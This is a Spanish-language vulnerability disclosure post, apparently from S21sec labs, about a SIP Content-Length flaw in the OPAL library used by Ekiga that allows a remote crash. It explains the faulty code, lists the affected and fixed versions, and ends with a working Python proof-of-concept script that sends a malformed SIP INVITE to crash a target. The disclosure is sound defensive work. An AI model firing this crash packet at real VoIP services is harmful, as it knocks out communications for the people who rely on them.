Español | English
rss facebook linkedin Twitter

La vulnerabilidad de la librería OPAL al detalle

Recientemente desde S21sec labs se publicó una vulnerabilidad que afecta al paquete OPAL(Open Phone Abstraction Layer), que es una librería open source escrita en C++ que implementa diferentes protocolos, ayudando a la gestión de comunicaciones telefónicas y de vídeo sobre TCP/IP. Al tratarse de una librería y no de una aplicación final de usuario, son varios los programas de VoIP que hacen uso de ella, entre otros, nuestro viejo amigo Ekiga. De la misma forma, las plataformas afectadas son también variadas, desde Windows hasta Linux, sin olvidarnos de Macintosh.

Las versiones afectadas por este fallo son la 2.2.8 y anteriores, habiéndose resuelto ya en la última versión publicada hace poco más de un mes, la 2.2.10. En lo referente a Ekiga, las versiones vulnerables eran todas las disponibles en el momento de la comunicación del fallo, es decir, la 2.0.9 y anteriores, pero no la 2.0.10, publicada también hace un mes. Aparte de esta posibilidad de actualización, existe un parche que soluciona este problema, y que vio la luz poco tiempo después de haber sido contactado el equipo de desarrolladores del proyecto, fruto de la colaboración entre ambas partes.

Profundizando un poco más en el tema, se puede decir que la vulnerabilidad, descubierta durante el desarrollo de Malybuzz, es debida a un descuido a la hora de comprobar los datos introducidos por el usuario en una petición del protocolo SIP, o más bien por no comprobarlos.

PINDEX contentLength = mime.GetContentLength();

...

entityBody[contentLength] = '\0';

En este caso concreto, el campo vulnerable es el Content-Length de las cabeceras de las peticiones SIP, donde al rellenar éste con un número excesivamente grande produce una escritura del carácter nulo en una dirección incorrecta de memoria, produciendo un fallo en la aplicación que no se controla correctamente, y que lleva al cuelgue del programa en cuestión con la consiguiente denegación de servicio. Puesto que se permite la escritura en cierta dirección de memoria, podría haber alguna posibilidad de ejecución de código en la máquina atacada, pero debido a la limitación de la escritura a un solo byte y a la dificultad de controlar la dirección en la cual se produce esta escritura, las probabilidades son bastante bajas.

Si queréis comprobar la veracidad de esta información os animo a que descarguéis el código fuente necesario para ejecutar Ekiga 2.0.9 (que sigue estando en la página oficial, aunque un poco rebuscado), localicéis la instrucción vulnerable dentro de la función SIP_PDU::Read del archivo sippdu.cxx contenido en el paquete OPAL 2.2.8, y hagáis vuestras propias modificaciones y pruebas. Tened en cuenta que necesitaréis también el paquete PWLib 1.10.7. Para los más vagos, simplemente podéis ejecutar una versión de Ekiga anterior a la 2.0.10, y lanzar la sencilla prueba de concepto (PoC) que adjunto a continuación. Sólo espero que a todos los que les haya picado el gusanillo con esta entrada, pasen un rato entretenidos este fin de semana, y se den cuenta de que hay miles de vulnerabilidades por descubrir. A por ellas!!;)

#!/usr/bin/python
# opal228_crash.py by Jose Miguel Esparza
# 2007 S21sec labs

import sys,socket

if len(sys.argv) != 3:
sys.exit("Usage: opal228_crash.py target_host target_port\n")
target = sys.argv[1]
targetPort = int(sys.argv[2])
malformedRequest = "INVITE sip:paco@192.168.1.134 SIP/2.0\r\n"+\
"Call-ID:f81d4fae-7dec-11d0-a765-00a0c91e6bf6@foo.bar.com\r\n"+\
"Contact:sip:pepe@192.168.1.133:5060\r\n"+\
"Content-Length:-40999990\r\n"+\
"Content-Type:application/sdp\r\n"+\
"CSeq:4321 INVITE\r\n"+\
"From:sip:pepe@192.168.1.133:5060;tag=a48s\r\n"+\
"Max-Forwards:70\r\n"+\
"To:sip:paco@micasa.com\r\n"+\
"Via:SIP/2.0/UDP 192.168.1.133:5060;branch=z9hG4bK74b76\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((target,targetPort))
s.sendall(malformedRequest)
s.close()

Jose Miguel Esparza
S21sec labs

(+34 902 222 521)


24 horas / 7 días a la semana



© Copyright S21sec 2013 - Todos los derechos reservados


login